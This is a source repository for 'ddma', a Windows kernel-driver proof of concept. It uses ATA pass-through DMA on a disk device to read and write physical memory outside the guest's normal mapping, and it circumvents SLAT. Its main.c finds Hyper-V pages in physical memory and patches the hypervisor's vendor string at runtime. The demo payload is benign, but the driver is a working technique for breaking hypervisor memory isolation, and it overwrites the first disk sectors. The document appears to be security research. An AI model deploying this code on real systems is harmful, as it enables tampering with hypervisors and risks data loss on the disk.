├── .clang-format ├── .gitignore ├── README.md ├── ddma ├── ata.c ├── ata.h ├── ddma.inf ├── ddma.sln ├── ddma.vcxproj ├── ddma.vcxproj.filters ├── disk.c ├── disk.h └── main.c └── demo.gif /.clang-format: -------------------------------------------------------------------------------- 1 | BasedOnStyle: LLVM 2 | IndentWidth: 4 3 | ColumnLimit: 100 4 | AllowShortFunctionsOnASingleLine: Empty -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.vspscc 94 | *.vssscc 95 | .builds 96 | *.pidb 97 | *.svclog 98 | *.scc 99 | 100 | # Chutzpah Test files 101 | _Chutzpah* 102 | 103 | # Visual C++ cache files 104 | ipch/ 105 | *.aps 106 | *.ncb 107 | *.opendb 108 | *.opensdf 109 | *.sdf 110 | *.cachefile 111 | *.VC.db 112 | *.VC.VC.opendb 113 | 114 | # Visual Studio profiler 115 | *.psess 116 | *.vsp 117 | *.vspx 118 | *.sap 119 | 120 | # Visual Studio Trace Files 121 | *.e2e 122 | 123 | # TFS 2012 Local Workspace 124 | $tf/ 125 | 126 | # Guidance Automation Toolkit 127 | *.gpState 128 | 129 | # ReSharper is a .NET coding add-in 130 | _ReSharper*/ 131 | *.[Rr]e[Ss]harper 132 | *.DotSettings.user 133 | 134 | # TeamCity is a build add-in 135 | _TeamCity* 136 | 137 | # DotCover is a Code Coverage Tool 138 | *.dotCover 139 | 140 | # AxoCover is a Code Coverage Tool 141 | .axoCover/* 142 | !.axoCover/settings.json 143 | 144 | # Coverlet is a free, cross platform Code Coverage Tool 145 | coverage*.json 146 | coverage*.xml 147 | coverage*.info 148 | 149 | # Visual Studio code coverage results 150 | *.coverage 151 | *.coveragexml 152 | 153 | # NCrunch 154 | _NCrunch_* 155 | .*crunch*.local.xml 156 | nCrunchTemp_* 157 | 158 | # MightyMoose 159 | *.mm.* 160 | AutoTest.Net/ 161 | 162 | # Web workbench (sass) 163 | .sass-cache/ 164 | 165 | # Installshield output folder 166 | [Ee]xpress/ 167 | 168 | # DocProject is a documentation generator add-in 169 | DocProject/buildhelp/ 170 | DocProject/Help/*.HxT 171 | DocProject/Help/*.HxC 172 | DocProject/Help/*.hhc 173 | DocProject/Help/*.hhk 174 | DocProject/Help/*.hhp 175 | DocProject/Help/Html2 176 | DocProject/Help/html 177 | 178 | # Click-Once directory 179 | publish/ 180 | 181 | # Publish Web Output 182 | *.[Pp]ublish.xml 183 | *.azurePubxml 184 | # Note: Comment the next line if you want to checkin your web deploy settings, 185 | # but database connection strings (with potential passwords) will be unencrypted 186 | *.pubxml 187 | *.publishproj 188 | 189 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 190 | # checkin your Azure Web App publish settings, but sensitive information contained 191 | # in these scripts will be unencrypted 192 | PublishScripts/ 193 | 194 | # NuGet Packages 195 | *.nupkg 196 | # NuGet Symbol Packages 197 | *.snupkg 198 | # The packages folder can be ignored because of Package Restore 199 | **/[Pp]ackages/* 200 | # except build/, which is used as an MSBuild target. 201 | !**/[Pp]ackages/build/ 202 | # Uncomment if necessary however generally it will be regenerated when needed 203 | #!**/[Pp]ackages/repositories.config 204 | # NuGet v3's project.json files produces more ignorable files 205 | *.nuget.props 206 | *.nuget.targets 207 | 208 | # Microsoft Azure Build Output 209 | csx/ 210 | *.build.csdef 211 | 212 | # Microsoft Azure Emulator 213 | ecf/ 214 | rcf/ 215 | 216 | # Windows Store app package directories and files 217 | AppPackages/ 218 | BundleArtifacts/ 219 | Package.StoreAssociation.xml 220 | _pkginfo.txt 221 | *.appx 222 | *.appxbundle 223 | *.appxupload 224 | 225 | # Visual Studio cache files 226 | # files ending in .cache can be ignored 227 | *.[Cc]ache 228 | # but keep track of directories ending in .cache 229 | !?*.[Cc]ache/ 230 | 231 | # Others 232 | ClientBin/ 233 | ~$* 234 | *~ 235 | *.dbmdl 236 | *.dbproj.schemaview 237 | *.jfm 238 | *.pfx 239 | *.publishsettings 240 | orleans.codegen.cs 241 | 242 | # Including strong name files can present a security risk 243 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 244 | #*.snk 245 | 246 | # Since there are multiple workflows, uncomment next line to ignore bower_components 247 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 248 | #bower_components/ 249 | 250 | # RIA/Silverlight projects 251 | Generated_Code/ 252 | 253 | # Backup & report files from converting an old project file 254 | # to a newer Visual Studio version. Backup files are not needed, 255 | # because we have git ;-) 256 | _UpgradeReport_Files/ 257 | Backup*/ 258 | UpgradeLog*.XML 259 | UpgradeLog*.htm 260 | ServiceFabricBackup/ 261 | *.rptproj.bak 262 | 263 | # SQL Server files 264 | *.mdf 265 | *.ldf 266 | *.ndf 267 | 268 | # Business Intelligence projects 269 | *.rdl.data 270 | *.bim.layout 271 | *.bim_*.settings 272 | *.rptproj.rsuser 273 | *- [Bb]ackup.rdl 274 | *- [Bb]ackup ([0-9]).rdl 275 | *- [Bb]ackup ([0-9][0-9]).rdl 276 | 277 | # Microsoft Fakes 278 | FakesAssemblies/ 279 | 280 | # GhostDoc plugin setting file 281 | *.GhostDoc.xml 282 | 283 | # Node.js Tools for Visual Studio 284 | .ntvs_analysis.dat 285 | node_modules/ 286 | 287 | # Visual Studio 6 build log 288 | *.plg 289 | 290 | # Visual Studio 6 workspace options file 291 | *.opt 292 | 293 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 294 | *.vbw 295 | 296 | # Visual Studio LightSwitch build output 297 | **/*.HTMLClient/GeneratedArtifacts 298 | **/*.DesktopClient/GeneratedArtifacts 299 | **/*.DesktopClient/ModelManifest.xml 300 | **/*.Server/GeneratedArtifacts 301 | **/*.Server/ModelManifest.xml 302 | _Pvt_Extensions 303 | 304 | # Paket dependency manager 305 | .paket/paket.exe 306 | paket-files/ 307 | 308 | # FAKE - F# Make 309 | .fake/ 310 | 311 | # CodeRush personal settings 312 | .cr/personal 313 | 314 | # Python Tools for Visual Studio (PTVS) 315 | __pycache__/ 316 | *.pyc 317 | 318 | # Cake - Uncomment if you are using it 319 | # tools/** 320 | # !tools/packages.config 321 | 322 | # Tabs Studio 323 | *.tss 324 | 325 | # Telerik's JustMock configuration file 326 | *.jmconfig 327 | 328 | # BizTalk build output 329 | *.btp.cs 330 | *.btm.cs 331 | *.odx.cs 332 | *.xsd.cs 333 | 334 | # OpenCover UI analysis results 335 | OpenCover/ 336 | 337 | # Azure Stream Analytics local run output 338 | ASALocalRun/ 339 | 340 | # MSBuild Binary and Structured Log 341 | *.binlog 342 | 343 | # NVidia Nsight GPU debugger configuration file 344 | *.nvuser 345 | 346 | # MFractors (Xamarin productivity tool) working folder 347 | .mfractor/ 348 | 349 | # Local History for Visual Studio 350 | .localhistory/ 351 | 352 | # BeatPulse healthcheck temp database 353 | healthchecksdb 354 | 355 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 356 | MigrationBackup/ 357 | 358 | # Ionide (cross platform F# VS Code tools) working folder 359 | .ionide/ 360 | 361 | # Fody - auto-generated XML schema 362 | FodyWeavers.xsd -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ddma 2 | 3 | A small proof-of-concept for using disk devices for DMA on Windows. 4 | 5 | ## Why 6 | 7 | Some native hypervisors (i.e. Hyper-V) allow the guest unvirtualized device access, which means SLAT can be circumvented. 8 | 9 | ## Demo 10 | 11 | Modifying Hyper-V at runtime (baremetal - 2004). 12 | 13 | ![Demo](demo.gif) 14 | 15 | ## Notes 16 | 17 | If kernel debugging is enabled, then the demo will bugcheck due to `MiShowBadMapper`. You can fix this by changing the first byte the function references to `2`. 18 | 19 | Your HBA may not support 64-bit addressing and thus cannot access higher physical memory. 20 | 21 | This PoC also only supports ATA. -------------------------------------------------------------------------------- /ddma/ata.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "ata.h" 4 | #include 5 | 6 | static NTSTATUS AtaIssueCommand(IN PDEVICE_OBJECT device, IN USHORT flag, IN UCHAR command, 7 | IN PVOID buffer) { 8 | 9 | KEVENT event; 10 | KeInitializeEvent(&event, SynchronizationEvent, FALSE); 11 | 12 | ATA_PASS_THROUGH_DIRECT request = {0}; 13 | request.Length = sizeof(request); 14 | request.AtaFlags = flag | ATA_FLAGS_USE_DMA; 15 | request.DataTransferLength = PAGE_SIZE; 16 | request.TimeOutValue = ATA_IO_TIMEOUT; 17 | request.DataBuffer = buffer; 18 | 19 | // For the sake of brevity this uses the first sectors (unsafe!) 20 | request.CurrentTaskFile[1] = PAGE_SIZE / ATA_SECTOR_SIZE; 21 | request.CurrentTaskFile[5] = ATA_DEVICE_TRANSPORT_LBA; 22 | request.CurrentTaskFile[6] = command; 23 | 24 | IO_STATUS_BLOCK ioStatusBlock; 25 | PIRP irp = IoBuildDeviceIoControlRequest(IOCTL_ATA_PASS_THROUGH_DIRECT, device, &request, 26 | sizeof(request), &request, sizeof(request), FALSE, 27 | &event, &ioStatusBlock); 28 | 29 | if (!irp) { 30 | return STATUS_INSUFFICIENT_RESOURCES; 31 | } 32 | 33 | NTSTATUS status = IoCallDriver(device, irp); 34 | 35 | if (status == STATUS_PENDING) { 36 | KeWaitForSingleObject(&event, Executive, KernelMode, FALSE, NULL); 37 | status = ioStatusBlock.Status; 38 | } 39 | 40 | return status; 41 | } 42 | 43 | NTSTATUS AtaReadPage(IN PDEVICE_OBJECT device, OUT PVOID dest) { 44 | return AtaIssueCommand(device, ATA_FLAGS_DATA_IN, ATA_CMD_READ_SECTORS, dest); 45 | } 46 | 47 | NTSTATUS AtaWritePage(IN PDEVICE_OBJECT device, IN PVOID src) { 48 | return AtaIssueCommand(device, ATA_FLAGS_DATA_OUT, ATA_CMD_WRITE_SECTORS, src); 49 | } -------------------------------------------------------------------------------- /ddma/ata.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #define ATA_IO_TIMEOUT (2) 6 | #define ATA_CMD_READ_SECTORS (0x20) 7 | #define ATA_CMD_WRITE_SECTORS (0x30) 8 | #define ATA_DEVICE_TRANSPORT_LBA (0x40) 9 | #define ATA_SECTOR_SIZE (0x200) 10 | 11 | NTSTATUS AtaReadPage(IN PDEVICE_OBJECT device, OUT PVOID dest); 12 | NTSTATUS AtaWritePage(IN PDEVICE_OBJECT device, IN PVOID src); -------------------------------------------------------------------------------- /ddma/ddma.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; ddma.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=Sample ; TODO: edit Class 8 | ClassGuid={78A1C341-4539-11d3-B88D-00C04FAD5171} ; TODO: edit ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=ddma.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | 13 | [DestinationDirs] 14 | DefaultDestDir = 12 15 | ddma_Device_CoInstaller_CopyFiles = 11 16 | 17 | ; ================= Class section ===================== 18 | 19 | [ClassInstall32] 20 | Addreg=SampleClassReg 21 | 22 | [SampleClassReg] 23 | HKR,,,0,%ClassName% 24 | HKR,,Icon,,-5 25 | 26 | [SourceDisksNames] 27 | 1 = %DiskName%,,,"" 28 | 29 | [SourceDisksFiles] 30 | ddma.sys = 1,, 31 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 32 | 33 | ;***************************************** 34 | ; Install Section 35 | ;***************************************** 36 | 37 | [Manufacturer] 38 | %ManufacturerName%=Standard,NT$ARCH$ 39 | 40 | [Standard.NT$ARCH$] 41 | %ddma.DeviceDesc%=ddma_Device, Root\ddma ; TODO: edit hw-id 42 | 43 | [ddma_Device.NT] 44 | CopyFiles=Drivers_Dir 45 | 46 | [Drivers_Dir] 47 | ddma.sys 48 | 49 | ;-------------- Service installation 50 | [ddma_Device.NT.Services] 51 | AddService = ddma,%SPSVCINST_ASSOCSERVICE%, ddma_Service_Inst 52 | 53 | ; -------------- ddma driver install sections 54 | [ddma_Service_Inst] 55 | DisplayName = %ddma.SVCDESC% 56 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 57 | StartType = 3 ; SERVICE_DEMAND_START 58 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 59 | ServiceBinary = %12%\ddma.sys 60 | 61 | ; 62 | ;--- ddma_Device Coinstaller installation ------ 63 | ; 64 | 65 | [ddma_Device.NT.CoInstallers] 66 | AddReg=ddma_Device_CoInstaller_AddReg 67 | CopyFiles=ddma_Device_CoInstaller_CopyFiles 68 | 69 | [ddma_Device_CoInstaller_AddReg] 70 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 71 | 72 | [ddma_Device_CoInstaller_CopyFiles] 73 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 74 | 75 | [ddma_Device.NT.Wdf] 76 | KmdfService = ddma, ddma_wdfsect 77 | [ddma_wdfsect] 78 | KmdfLibraryVersion = $KMDFVERSION$ 79 | 80 | [Strings] 81 | SPSVCINST_ASSOCSERVICE= 0x00000002 82 | ManufacturerName="" ;TODO: Replace with your manufacturer name 83 | ClassName="Samples" ; TODO: edit ClassName 84 | DiskName = "ddma Installation Disk" 85 | ddma.DeviceDesc = "ddma Device" 86 | ddma.SVCDESC = "ddma Service" 87 | -------------------------------------------------------------------------------- /ddma/ddma.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31205.134 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ddma", "ddma.vcxproj", "{46CB5F45-AF1E-458C-8287-AF9196DC9260}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|ARM = Debug|ARM 11 | Debug|ARM64 = Debug|ARM64 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|ARM = Release|ARM 15 | Release|ARM64 = Release|ARM64 16 | Release|x64 = Release|x64 17 | Release|x86 = Release|x86 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|ARM.ActiveCfg = Debug|ARM 21 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|ARM.Build.0 = Debug|ARM 22 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|ARM.Deploy.0 = Debug|ARM 23 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|ARM64.ActiveCfg = Debug|ARM64 24 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|ARM64.Build.0 = Debug|ARM64 25 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|ARM64.Deploy.0 = Debug|ARM64 26 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|x64.ActiveCfg = Debug|x64 27 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|x64.Build.0 = Debug|x64 28 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|x64.Deploy.0 = Debug|x64 29 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|x86.ActiveCfg = Debug|Win32 30 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|x86.Build.0 = Debug|Win32 31 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Debug|x86.Deploy.0 = Debug|Win32 32 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|ARM.ActiveCfg = Release|ARM 33 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|ARM.Build.0 = Release|ARM 34 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|ARM.Deploy.0 = Release|ARM 35 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|ARM64.ActiveCfg = Release|ARM64 36 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|ARM64.Build.0 = Release|ARM64 37 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|ARM64.Deploy.0 = Release|ARM64 38 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|x64.ActiveCfg = Release|x64 39 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|x64.Build.0 = Release|x64 40 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|x64.Deploy.0 = Release|x64 41 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|x86.ActiveCfg = Release|Win32 42 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|x86.Build.0 = Release|Win32 43 | {46CB5F45-AF1E-458C-8287-AF9196DC9260}.Release|x86.Deploy.0 = Release|Win32 44 | EndGlobalSection 45 | GlobalSection(SolutionProperties) = preSolution 46 | HideSolutionNode = FALSE 47 | EndGlobalSection 48 | GlobalSection(ExtensibilityGlobals) = postSolution 49 | SolutionGuid = {D852F210-A100-4274-A2B8-AA903236B6CD} 50 | EndGlobalSection 51 | EndGlobal 52 | -------------------------------------------------------------------------------- /ddma/ddma.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | Debug 22 | ARM 23 | 24 | 25 | Release 26 | ARM 27 | 28 | 29 | Debug 30 | ARM64 31 | 32 | 33 | Release 34 | ARM64 35 | 36 | 37 | 38 | {46CB5F45-AF1E-458C-8287-AF9196DC9260} 39 | {1bc93793-694f-48fe-9372-81e2b05556fd} 40 | v4.5 41 | 12.0 42 | Debug 43 | Win32 44 | ddma 45 | 46 | 47 | 48 | Windows10 49 | true 50 | WindowsKernelModeDriver10.0 51 | Driver 52 | KMDF 53 | Universal 54 | 55 | 56 | Windows10 57 | false 58 | WindowsKernelModeDriver10.0 59 | Driver 60 | KMDF 61 | Universal 62 | 63 | 64 | Windows10 65 | true 66 | WindowsKernelModeDriver10.0 67 | Driver 68 | KMDF 69 | Universal 70 | 71 | 72 | Windows10 73 | false 74 | WindowsKernelModeDriver10.0 75 | Driver 76 | KMDF 77 | Universal 78 | 79 | 80 | Windows10 81 | true 82 | WindowsKernelModeDriver10.0 83 | Driver 84 | KMDF 85 | Universal 86 | 87 | 88 | Windows10 89 | false 90 | WindowsKernelModeDriver10.0 91 | Driver 92 | KMDF 93 | Universal 94 | 95 | 96 | Windows10 97 | true 98 | WindowsKernelModeDriver10.0 99 | Driver 100 | KMDF 101 | Universal 102 | 103 | 104 | Windows10 105 | false 106 | WindowsKernelModeDriver10.0 107 | Driver 108 | KMDF 109 | Universal 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | DbgengKernelDebugger 121 | 122 | 123 | DbgengKernelDebugger 124 | 125 | 126 | DbgengKernelDebugger 127 | 128 | 129 | DbgengKernelDebugger 130 | 131 | 132 | DbgengKernelDebugger 133 | 134 | 135 | DbgengKernelDebugger 136 | 137 | 138 | DbgengKernelDebugger 139 | 140 | 141 | DbgengKernelDebugger 142 | 143 | 144 | 145 | MaxSpeed 146 | Speed 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | -------------------------------------------------------------------------------- /ddma/ddma.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | -------------------------------------------------------------------------------- /ddma/disk.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "ata.h" 4 | #include "disk.h" 5 | 6 | NTKERNELAPI POBJECT_TYPE *IoDriverObjectType; 7 | NTKERNELAPI NTSTATUS ObReferenceObjectByName(IN PUNICODE_STRING objectName, IN ULONG attributes, 8 | IN PACCESS_STATE passedAccessState, 9 | IN ACCESS_MASK desiredAccess, 10 | IN POBJECT_TYPE objectType, 11 | IN KPROCESSOR_MODE accessMode, 12 | IN OUT PVOID parseContext, OUT PVOID *object); 13 | 14 | static NTSTATUS GetDeviceObjectList(IN PDRIVER_OBJECT driverObject, OUT PDEVICE_OBJECT **outDevices, 15 | OUT PULONG outDeviceCount) { 16 | 17 | ULONG count = 0; 18 | NTSTATUS status = IoEnumerateDeviceObjectList(driverObject, NULL, 0, &count); 19 | 20 | if (status != STATUS_BUFFER_TOO_SMALL) { 21 | return status; 22 | } 23 | 24 | ULONG size = count * sizeof(PDEVICE_OBJECT); 25 | PDEVICE_OBJECT *devices = ExAllocatePool(NonPagedPoolNx, size); 26 | if (devices) { 27 | *outDeviceCount = count; 28 | 29 | status = IoEnumerateDeviceObjectList(driverObject, devices, size, &count); 30 | if (NT_SUCCESS(status)) { 31 | *outDevices = devices; 32 | } else { 33 | ExFreePool(devices); 34 | } 35 | } else { 36 | status = STATUS_INSUFFICIENT_RESOURCES; 37 | } 38 | 39 | return status; 40 | } 41 | 42 | NTSTATUS DiskFind(OUT PDISK *outDisk) { 43 | PDISK disk = ExAllocatePool(NonPagedPoolNx, sizeof(DISK)); 44 | if (!disk) { 45 | return STATUS_INSUFFICIENT_RESOURCES; 46 | } 47 | 48 | UNICODE_STRING diskStr = RTL_CONSTANT_STRING(L"\\Driver\\Disk"); 49 | PDRIVER_OBJECT diskObject; 50 | 51 | NTSTATUS status = ObReferenceObjectByName(&diskStr, OBJ_CASE_INSENSITIVE, NULL, 0, 52 | *IoDriverObjectType, KernelMode, NULL, &diskObject); 53 | 54 | if (NT_SUCCESS(status)) { 55 | PDEVICE_OBJECT *devices; 56 | ULONG deviceCount; 57 | 58 | status = GetDeviceObjectList(diskObject, &devices, &deviceCount); 59 | 60 | if (NT_SUCCESS(status)) { 61 | status = STATUS_NOT_FOUND; 62 | 63 | for (ULONG i = 0; i < deviceCount; ++i) { 64 | PDEVICE_OBJECT device = devices[i]; 65 | 66 | if (status == STATUS_NOT_FOUND && NT_SUCCESS(AtaReadPage(device, disk->Buffer))) { 67 | disk->Device = device; 68 | status = STATUS_SUCCESS; 69 | continue; 70 | } 71 | 72 | ObDereferenceObject(device); 73 | } 74 | 75 | ExFreePool(devices); 76 | } 77 | 78 | ObDereferenceObject(diskObject); 79 | } 80 | 81 | if (NT_SUCCESS(status)) { 82 | *outDisk = disk; 83 | } else { 84 | ExFreePool(disk); 85 | } 86 | 87 | return status; 88 | } 89 | 90 | NTSTATUS DiskCopy(IN PDISK disk, IN PVOID dest, IN PVOID src) { 91 | // Read from src by writing to disk 92 | NTSTATUS status = AtaWritePage(disk->Device, src); 93 | if (NT_SUCCESS(status)) { 94 | // Write to dest by reading from disk 95 | status = AtaReadPage(disk->Device, dest); 96 | 97 | // Restore original sectors 98 | AtaWritePage(disk->Device, disk->Buffer); 99 | } 100 | 101 | return status; 102 | } 103 | 104 | VOID DiskFree(IN PDISK disk) { 105 | ObDereferenceObject(disk->Device); 106 | ExFreePool(disk); 107 | } -------------------------------------------------------------------------------- /ddma/disk.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef struct _DISK { 6 | PDEVICE_OBJECT Device; 7 | 8 | // Buffer holding sectors original data 9 | UINT8 Buffer[PAGE_SIZE]; 10 | } DISK, *PDISK; 11 | 12 | NTSTATUS DiskFind(OUT PDISK *disk); 13 | NTSTATUS DiskCopy(IN PDISK disk, IN PVOID dest, IN PVOID src); 14 | VOID DiskFree(IN PDISK disk); -------------------------------------------------------------------------------- /ddma/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "disk.h" 4 | #include 5 | 6 | #define printf(fmt, ...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, fmt, ##__VA_ARGS__) 7 | #define CPUID_HV_VENDOR_LEAF (0x40000000) 8 | 9 | static BOOLEAN IsMicrosoftHvRunning(VOID) { 10 | INT32 info[4] = {0}; 11 | __cpuid(info, CPUID_HV_VENDOR_LEAF); 12 | return info[1] == 'rciM' && info[2] == 'foso' && info[3] == 'vH t'; 13 | } 14 | 15 | static VOID PrintHvVendor(VOID) { 16 | INT32 info[4]; 17 | __cpuid(info, CPUID_HV_VENDOR_LEAF); 18 | 19 | CHAR vendor[13] = {0}; 20 | 21 | for (UINT32 i = 0; i < 3; ++i) { 22 | ((PINT32)&vendor)[i] = info[i + 1]; 23 | } 24 | 25 | printf("HV vendor: %s\n", vendor); 26 | } 27 | 28 | static BOOLEAN IsPageAllOnes(IN PVOID page) { 29 | for (UINT32 i = 0; i < PAGE_SIZE; i += sizeof(UINT64)) { 30 | if (*(PUINT64)((PUINT8)page + i) != MAXUINT64) { 31 | return FALSE; 32 | } 33 | } 34 | 35 | return TRUE; 36 | } 37 | 38 | static BOOLEAN Replace4Byte(IN PVOID page, IN UINT32 value, IN UINT32 replace) { 39 | for (UINT32 i = 0; i <= PAGE_SIZE - sizeof(UINT32); ++i) { 40 | PUINT32 ptr = (PUINT32)((PUINT8)page + i); 41 | if (*ptr == value) { 42 | *ptr = replace; 43 | return TRUE; 44 | } 45 | } 46 | 47 | return FALSE; 48 | } 49 | 50 | static BOOLEAN ScanRange(IN PDISK disk, IN PVOID buffer, IN UINT64 base, IN UINT64 size) { 51 | for (UINT64 i = 0; i < size; i += PAGE_SIZE) { 52 | UINT64 pfn = (base + i) >> PAGE_SHIFT; 53 | 54 | MM_COPY_ADDRESS src; 55 | src.PhysicalAddress.QuadPart = pfn << PAGE_SHIFT; 56 | 57 | SIZE_T outSize; 58 | if (!NT_SUCCESS(MmCopyMemory(buffer, src, PAGE_SIZE, MM_COPY_MEMORY_PHYSICAL, &outSize))) { 59 | continue; 60 | } 61 | 62 | // Hyper-V pages are redirected to one with all FFs 63 | if (!IsPageAllOnes(buffer)) { 64 | continue; 65 | } 66 | 67 | PVOID mapping = MmMapIoSpace(src.PhysicalAddress, PAGE_SIZE, MmNonCached); 68 | if (!mapping) { 69 | continue; 70 | } 71 | 72 | if (!NT_SUCCESS(DiskCopy(disk, buffer, mapping))) { 73 | MmUnmapIoSpace(mapping, PAGE_SIZE); 74 | continue; 75 | } 76 | 77 | // Find and replace "Microsoft Hv" vendor string with "Hello, world" 78 | if (!Replace4Byte(buffer, 'rciM', 'lleH') || !Replace4Byte(buffer, 'foso', 'w ,o') || 79 | !Replace4Byte(buffer, 'vH t', 'dlro')) { 80 | 81 | MmUnmapIoSpace(mapping, PAGE_SIZE); 82 | continue; 83 | } 84 | 85 | PrintHvVendor(); 86 | printf("Found HV vendor string on page 0x%llX\n", pfn); 87 | 88 | // Write the modified page back 89 | DiskCopy(disk, mapping, buffer); 90 | 91 | PrintHvVendor(); 92 | 